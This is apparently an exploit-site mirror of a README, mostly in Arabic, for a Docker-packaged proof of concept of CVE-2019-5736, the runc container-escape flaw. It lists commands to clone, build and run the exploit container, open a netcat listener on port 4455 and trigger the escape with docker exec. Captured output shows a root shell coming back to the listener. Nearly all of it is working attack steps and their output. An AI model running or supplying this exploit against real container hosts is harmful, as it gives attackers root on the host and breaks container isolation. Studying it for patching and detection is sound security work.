## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YYQS2008-CVE-2019-5736-POC-2
# ملخص
نسخة من استغلال المستودع التالي تعمل كصورة Docker.
https://github.com/feexd/pocs
# طريقة الاستخدام
## بناء الصورة
root@kitploit:~
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
## التنفيذ
تشغيل الحاوية والاستماع على المنفذ في المضيف.
root@kitploit:~
# terminal 1
$ sudo docker run poc
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
تشغيل runc.
root@kitploit:~
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
يتم إرجاع شل إلى `nc`.
root@kitploit:~
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
# بيئة الاختبار
root@kitploit:~
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
# توضيح
